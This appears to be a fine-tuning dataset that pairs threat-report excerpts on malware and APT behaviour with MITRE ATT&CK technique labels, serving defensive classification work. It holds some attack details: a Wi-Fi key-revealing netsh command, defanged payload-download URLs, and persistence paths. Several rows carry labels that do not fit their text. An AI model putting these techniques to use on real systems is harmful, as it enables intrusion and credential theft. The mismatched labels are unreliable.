"Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. All these builds exhibit common functionality.Agent.btz is a DLL file. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive",['T1560.003 - Archive via Custom Method'],fine_tune
The cluster targeting Brazil used hacked websites and Google Ads to drive users to download the malicious installer. The campaign targeting other countries used spear-phishing as the delivery method,['T1189 - Drive-by Compromise'],fine_tune
"In cases where spam attachments could be verified — once a user has opened the attachment and enabled macro functionality — a PowerShell script downloads either Emotet, Bokbot or Trickbot, with the end payload being TrickBot",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. If all the DCs don’t have skeleton key configured, the master password won’t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Testing Domain Admin account with password &amp; skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Skeleton Key Mitigation: - Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don’t let DLA accounts logon to systems at a different security level from Domain Controllers",['T1098 - Account Manipulation'],fine_tune
"In the first case, attackers create two WMI event filters and two WMI event consumers. The consumers are simply command lines launching base64-encoded PowerShell commands that load a large PowerShell script stored in the Windows registry. Figure 1 shows how the persistence is established",['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
"The Updater.exe program has the same program icon as CelasTradePro.exe. When run, it checks for the CheckUpdate parameter, collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR encryption, and sends information to a C2 website (Exfiltration Over C2 Channel [T1041","['T1082 - System Information Discovery', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"running software, system name, IP address) - install additional malware onto the system - check for the presence of 29 different antivirus tools",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Poseidon utilizes a variety of tools. Their main infection tool has been steadily evolving since 2005, with code remnants remaining the same to this day, while others have been altered to fit the requirements of new operating systems and specific campaigns. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “&lt;Module&gt;.\u200E” function. This function receives a number as an input and generates three byte arrays containing input to be decrypted, key and IV (Figure 6",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise","['T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1021.001 - Remote Services: Remote Desktop Protocol']",fine_tune
In our analysis we could observe how the adversary ensures persistence by delivering an LNK file into the startup folder,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"ESET researchers have dissected some of the latest additions to the malicious toolkit of the Advanced Persistent Threat (APT) group known as OceanLotus, also dubbed APT32 and APT-C-00",['T1027 - Obfuscated Files or Information'],fine_tune
"Executes VBScript using Process.Start. The third-stage DLL proceeds by loading the ""AdvancedRun"" resource into memory, decompressing it and dropping it as ""AdvancedRun.exe"" into the %TEMP% directory. Drops AdvancedRun.exe using File.WriteAllBytes. AdvancedRun.exe"" is a tool provided by Nirsoft to execute a program with different settings. Once the tool is dropped, the third stage DLL will leverage it to execute two commands in the context of the Windows TrustedInstaller group. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files. AdvanceRun is one of the tools that can be used to execute commands in the context of the TrustedInstaller user. This functionality is only available via CLI and requires the flag of ""/RunAs 8"", which is shown in the commands below. The tool will be deleted from the %TEMP% directory after executing both commands. The first command leverages the Windows service control application (sc.exe) to disable Windows Defender","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1078.001 - Valid Accounts: Default Accounts']",fine_tune
"Stonedrill (Trojan.Stonedrill): Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer",['T1561.002 - Disk Structure Wipe'],fine_tune
"Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. They can also directly start services through Service Execution. 29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo,['T1016 - System Network Configuration Discovery'],fine_tune
"The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. If this check succeeds, a randomly-generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
"The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user are checked. The DLL file also examines drives other than C",['T1083 - File and Directory Discovery'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems",['T1102.001 - Dead Drop Resolver'],fine_tune
"The decrypted result is saved as “%APPDATA%\\Microsoft\Windows\Cookies.exe” (T1001) 6) If the file size of “%APPDATA%\\Microsoft\Windows\Cookies.exe” exceeds 4,485 bytes, it is executed",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Document search module: Mssqldbserv.xml . This module has been described before in the article here. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\&lt;USER&gt;~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp",['T1204.002 - User Execution: Malicious File'],fine_tune
"With domain administrator privileges obtained, the threat actors then moved laterally throughout the network using SMB and RDP to deploy Cobalt Strike beacons on the domain controllers around 1 hour after the initial execution of Bazar. On the domain controllers, some additional discovery was done using the PowerShell Active Directory module. After establishing Cobalt Strike beacons on those they felt ready to proceed to their final objectives",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. These new processes will first spawn a net.exe processing with the view argument to gather a list of network accessible hosts. For each host, BitPaymer spawns another net.exe process with command net view &lt;host&gt; using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted","['T1135 - Network Share Discovery', 'T1134.001 - Access Token Manipulation: Token Impersonation/Theft']",fine_tune
"This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. Generates unique session keys for each connection to the C2 server. Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. Encrypts or decrypts function blocks (code blocks) during runtime, as needed, to evade detection. Uses position independent code (PIC) to throw off static analysis tools",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Upon execution, MCMD spawns a console process (cmd.exe) with redirected standard input and output (I/O) handles. Immediately after execution, the window properties of both the MCMD and cmd.exe processes are modified to prevent them from being visible on the active user's desktop. MCMD utilizes the shared I/O handles to send and receive data between the C2 server and the command shell (see Figure 1","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1564.003 - Hide Artifacts: Hidden Window']",fine_tune
"1) The malicious .rtf file exploits CVE-2017-11882. 3) The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt. 4) b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. The communication occurs via HTTPS over port 443",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Once settles on victim’s information systems, Egregor communicates with its Command and Control servers via HTTPS protocol so as to drop scripts or dynamic link libraries on infected hosts. You can find the list of C2 identified during investigations in section “IP Addresses",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"OverWatch observed the threat actor retrieve three files with VBS file extensions from remote infrastructure. These files were then decoded using cscript.exe into an EXE, DLL and DAT file respectively. Based on the telemetry available, OverWatch believes these files likely constituted a reverse shell, which was loaded into memory via DLL search-order hijacking.2",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. For systems that have not had MS17-010 applied, the EternalBlue and EternalRomance exploits are leveraged to compromise systems. The exploit launched against the victim system depends on the operating system of the intended target",['T1210 - Exploitation of Remote Services'],fine_tune
"Commands received from the control server are encoded DWORDs - After decoding, these DWORDs should be in the range 123459h to 123490h",['T1132.002 - Non-Standard Encoding'],fine_tune
"Basically, the shellcode’s main purpose is to launch other code stored in the registry key \REGISTRY\SOFTWARE\Microsoft\DRM. Below is the disassembled shellcode and commentaries for interested readers",['T1012 - Query Registry'],fine_tune
"In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: ""\{[0-9a-f-]{36}\}""||""[0-9a-f]{32}""||""[0-9a-f]{16}"". Command data is spread across multiple strings that are disguised as GUID and HEX strings",['T1001.002 - Data Obfuscation via Steganography'],fine_tune
"Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them",['T1090.001 - Proxy: Internal Proxy'],fine_tune
The C2 server will respond to the HTTP requests to the “bat&amp;m=d” URL with a batch script that update.vbs will save to the “dn” folder and execute. The output of the downloaded batch script is saved to a text file in the “up” folder and uploaded to the C2 server via an HTTP POST request to the following URL,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"We saw a Waterbear loader named ""ociw32.dll"" inside one of the folders in the %PATH% environmental variable. This DLL name is hardcoded inside ""mtxoci.dll"" which is loaded by the MSDTC service during boot-up. mtxoci.dll” first tries to query the registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"" to see if the value ""OracleOciLib"" exists. If so, it retrieves the data inside it and loads the corresponding library. If the value doesn't exist, “mtxoci.dll” tries to load ""ociw32.dll"" instead. During our investigation, we noticed that the value ""OracleOciLib"" was deleted from the victim's machine, as shown in Figure 2. Hence, the malicious loader ""ociw32.dll"" was loaded and successfully executed on the host",['T1112 - Modify Registry'],fine_tune
"This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"Archive files that contain a legitimate executable and a malicious DLL, to be used in a DLL hijacking technique, taking advantage of legitimate executables such as Outlook and Avast proxy, to load a malicious DLL",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document. Upon execution, this Trojan checks to see if it was configured with ""BINDERON"" to determine if it should extract an embedded payload from a resource named ""B"", save it to %TEMP%\%BIND1%, and create a new process with the embedded payload. While the Trojan was configured to carry out this activity, the actor did not embed a payload within the ""B"" resource, so this functionality does not carry out any activities, rather it just causes an exception and continues running. Another configuration option encountered by this Trojan is a check for '%STARTUPON%'. This sample was not configured to execute with this option enabled, however, should this option be enabled, the Trojan would attempt to install itself to the system at a specific location by writing its contents in base64-encoded format to the following file",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"On November 9, 2018, we observed a relatively small email campaign (thousands of messages) delivering a new malware family that we call “ServHelper” based on file names associated with infection. The campaign primarily targeted financial institutions and was attributed to the threat actor TA505. The messages (Figure 1) contained Microsoft Word or Publisher attachments with macros that, when enabled, downloaded and executed the malware. This campaign used the “tunnel” variant of ServHelper, described in the “Malware Analysis” section","['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain &amp; Abel",['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
"Contains two DLL function exports: start and ss2 - Not dropped to the disk - Responsible for terminating processes and stopping/disabling services related to endpoint security - Responsible for file encryption - Responsible for creating multiple worker threads for encryption - Responsible for creating the ransom notes - No longer uses the process rundll32.exe as a loader, but instead uses the MegaCortex binary as the DLL loader - Responsible for deleting volume shadow copies using vssadmin.exe and wiping deleted data from all drives using cipher.exe",['T1561.001 - Disk Content Wipe'],fine_tune
"The TerraLoader code performs several integrity checks before dropping the payload. These checks implement anti-debugging techniques and try to identify anomalies to prevent execution in sandboxed environments. Some of these techniques range from detecting incorrect parameters, filenames and extensions, to detecting hardware breakpoints or identifying specific modules loaded into the subject process. Should these checks all pass, the actual payload is decrypted and executed",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"The script is executed by the scheduled task used to maintain persistence, with its main goal being",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The malicious emails display a strong command of the English language, and their content may have been taken from legitimate emails relevant to the business of the targeted organization. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"If I open up the WebCacheV01.dat file in ESEDatabaseView or BrowsingHistoryView, I see browsing history leading up to my testing. Initially, I thought it was grabbing a copy of the file from a previous Volume Shadow Copy (VSC) but that isn’t the case. Esentutl.exe is able to use the Volume Shadow Copy service to make a backup of a locked file",['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
"1) These lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange (DDE) protocol in order to gain access to victim machines. 2) Once the Gallmaker attackers gain access to a device, they execute various tools, including","['T1204.002 - User Execution: Malicious File', 'T1559.002 - Inter-Process Communication: Dynamic Data Exchange']",fine_tune
"The GoldMax malware was discovered persisting on networks as a scheduled task impersonating systems management software. In the instances it was encountered, the scheduled task was named after software that existed in the environment, and pointed to a subfolder in ProgramData named after that software, with a similar executable name. The executable, however, was the GoldMax implant","['T1036.004 - Masquerading: Masquerade Task or Service', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",fine_tune
"Prior to execution of any recon command to gather information from the target machine, the default codepage of the console is changed to “65001” (utf-8",['T1082 - System Information Discovery'],fine_tune
"The malware cleans the system event logs using OpenEventLog/ClearEventLog APIs, and then terminates the setup procedure with a call to StartService to run the stage 4 malware",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes,"['T1003 - OS Credential Dumping', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
Discovery of a Stealthy New Malware: “CSPY Downloader” is a tool designed to evade analysis and download additional payloads,['T1105 - Ingress Tool Transfer'],fine_tune
The payload is embedded in the macro as Base64 code. It uses the certutil program to decode the Base64 into a PE file which is then executed,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Scheduled tasks enable administrators to run tasks or “jobs” at designated times rather than every time the system is booted or the user logs in. This feature can be implemented via the Windows COM API, which the first versions of Ramsay have tailored. Based on the high ratio of similarity with Carberp’s implementation, it’s highly probable that Ramsay’s implementation was adapted from Carberp’s publicly available source code","['T1559.001 - Component Object Model', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"48b9e25491e088a35105274cae0b9e67 MD5 hash of the current timestamp calculated during execution. MD5 hash of the current timestamp calculated during execution. 5-15 Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - 0 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting” - 0 Activate execution timestamp (0 by default) — execution ""activates"" or continues if current time is greater than the value in the configuration - Activate execution timestamp (0 by default) — execution ""activates"" or continues if current time is greater than the value in the configuration - - Base64-encoded User-agent used in HTTPS requests",['T1124 - System Time Discovery'],fine_tune
MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks,['T1020 - Automated Exfiltration'],fine_tune
"Interestingly, the server mapped to kneeexercises[.]net listens for incoming HTTPS connections on several ports and uses common names seen on other C2 domains. For example, ports 2083 and 8443 had CN firstohiobank[.]com, and TCP port 2087 had a TLS certificate with the common name dentalmatrix[.]net. We observed use of these non-standard ports during some of the older intrusions, while the newer ones mostly use port 443",['T1571 - Non-Standard Port'],fine_tune
"The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key",['T1106 - Native API'],fine_tune
"The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California. It is not known why the actors picked this company -- and others listed in Table 1 below -- to impersonate but, as previously mentioned, their use of filenames and URLs makes their payloads appear benign and trustworthy",['T1587.002 - Code Signing Certificates'],fine_tune
"persistence: Somewhat interestingly, OSX/Dok persists in two phases. First as a Login Item, then as Launch Agents. When Dok is (naively) launched by the user, it will executed logic to persist as a Login Item. As their name implies, Login Items will execute an application when the user logs in. Apple describes how to create a Login Item both manually and programmatically",['T1059.002 - Command and Scripting Interpreter: AppleScript'],fine_tune
The NOKKI payload is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup registry key,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Prior to privilege escalation, Egregor proceeds to Active Directory reconnaissance using tools such as Sharphound or AdFind. These tools are used to gather information about users, groups, computers, and so on","['T1033 - System Owner/User Discovery', 'T1069.002 - Permission Groups Discovery: Domain Groups']",fine_tune
The following command line is a service created by CobaltStrike and can be found in Windows Event Logs (event id 7045). It runs an encoded powershell command,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"When a victim opens the document, Microsoft Word asks to enable/disable macros. It reveals that a macro is embedded in the document",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"From my analyses, I was able to identify http://mdzz2019.noip[.]cn:19931 as its main C2 url. This is a dynamic DNS, meaning the actual IP changes quite frequently. Additionally, on that same url, http://mdzz2019.noip[.]cn:3654/ is used to distribute more versions of this Gh0stRAT sample, along with a .zip file containing ASPXSpy, a web shell",['T1568.001 - Fast Flux DNS'],fine_tune
"The plugin proceeds to iterate through all connected drives on the system, looking for removable drives",['T1120 - Peripheral Device Discovery'],fine_tune
"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to "".exe. Here is an example decoy document: The purpose of the VisualBasic script is to execute the payload. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019",['T1036 - Masquerading'],fine_tune
This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
The code then uses the identified functions to add persistency through registry and add next stages file names identifier through the following locations,['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"As happens so many times, it contains a Visual Basic script that will execute the malicious activities. This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called ""launcher.py. The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file ""License.txt"" and exit, thus deleting itself. Anti-sandbox code If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Listing the C:/ drive contents using cd C:/; ls; - Listing the specific Wi-Fi profile details using netsh wlan show profiles name='&lt;Name&gt;' key=clear; - Listing the drives using Get-PSDrive,"['T1083 - File and Directory Discovery', 'T1049 - System Network Connections Discovery']",fine_tune
1) Use of zip file that contains a “.lnk” (Windows Shortcut) file. 2) Utilization of double extension trick (sample.doc.lnk) to convince users to open the file. 3) HTA (HTML Application) with VBScript embedded in the “.lnk” file 4) VBScript drops payloads and opens a decoy document or PDF to the user,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"The malware’s second functionality is to gain persistence on an infected machine. After obtaining persistence, the next functionality of Linux Rabbit is to brute force SSH passwords which ultimately allows the malware to install the cryptocurrency miner onto the server. The SSH brute forcing begins by the malware first generating a random IPv4 string and checking its geolocation to see where it is located. If the IP is located within a country that is “blacklisted,” it will stop and move on until it finds an IP that is located in an allowed geolocation, which for this malware are Russia, South Korea, the UK, and the US. Once an allowed IP location is discovered, Linux Rabbit will check to see if an SSH server is listening on Port 22. The malware will open a socket to see if it receives a response, and if it does, it will attempt to obtain the machine’s hostname. If the TLD is not blacklisted, the malware will run through a process of authentication utilizing a list of hard-coded credentials it has",['T1033 - System Owner/User Discovery'],fine_tune
"txt,log} and is also a ""cryptojacker,"" which is a tool that uses a victim’s computer to mine cryptocurrency","['T1056.001 - Input Capture: Keylogging', 'T1557 - Adversary-in-the-Middle']",fine_tune
"1) Communicate with the C2, try to forward ports with UPnP and determine available ports and report them to the C2. The usual C2 communication protocol used here is HTTP POST RC4-ciphered JSON data. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file. 3) Set up external PROXY-C2 connection that was received with command 37 (update config)/module 274 (proxy) by the stager",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"To start, the implant looks for the AHNLAB V3 Antivirus software's class name ""49B46336-BA4D-4905-9824-D282F05F6576"". If the software is found, the implant will hide the AV software window from the view of the infected user","['T1564.003 - Hide Artifacts: Hidden Window', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
"Exfiltrated data is encrypted using an RSA public key, preventing third parties from decrypting it. An example exfiltration request is below",['T1027 - Obfuscated Files or Information'],fine_tune
"Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective",['T1049 - System Network Connections Discovery'],fine_tune
"REDBALDKNIGHT’s use of steganography isn’t limited to Daserf. Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell. While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file",['T1001.002 - Data Obfuscation via Steganography'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
cmd /c tasklist: Executes this command to collect a list of running processes on victim’s machine and store them in a tmp file,"['T1005 - Data from Local System', 'T1082 - System Information Discovery']",fine_tune
"The malware will actually search through the /Users/ folder looking for executable files. When it finds one, it will prepend malicious code to the beginning of the file. This means that when the file is executed, the malicious code is executed first. That code will then copy the legit file content into a new, invisible file and execute that","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1554 - Compromise Host Software Binary']",fine_tune
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Current variants will often drop or retrieve secondary executables to inject into, or they will attempt to inject into known (and vulnerable) binaries already present on targeted hosts",['T1055 - Process Injection'],fine_tune
"As described in the analysis of the group’s previous macOS backdoor, a clientID is created. This identifier is the MD5 hash of the return value of one of the following commands",['T1082 - System Information Discovery'],fine_tune
"The C2 domain used in this shellcode has been categorized as malware in DNS Security, URL Filtering and WildFire, which are security subscriptions for Next-Generation Firewall customers. App-ID, the traffic classification system in Next-Generation Firewalls, is capable of identifying applications irrespective of port, protocol, encryption (SSH or SSL) or any other evasive tactic used by the application. This shellcode attempts to communicate over TCP port 443 with traffic that does not conform to proper SSL or any other known application. As a matter of best practice, we advise customers to block unknown outbound TCP traffic in their security policies",['T1571 - Non-Standard Port'],fine_tune
"Figure 3: The first step of decryption will perform XOR on one byte using the previous adjacent byte, starting from the last byte and excluding the first byte",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Once the malware was persisted and kicked off the launch items, it invokes a function named create_rescue_executable to create yet another copy of itself. This copy will made in the user’s Library directory. Its named starts with a . so that it won’t show up in the UI (i.e. Finder.app), and is then followed via 9 random characters",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
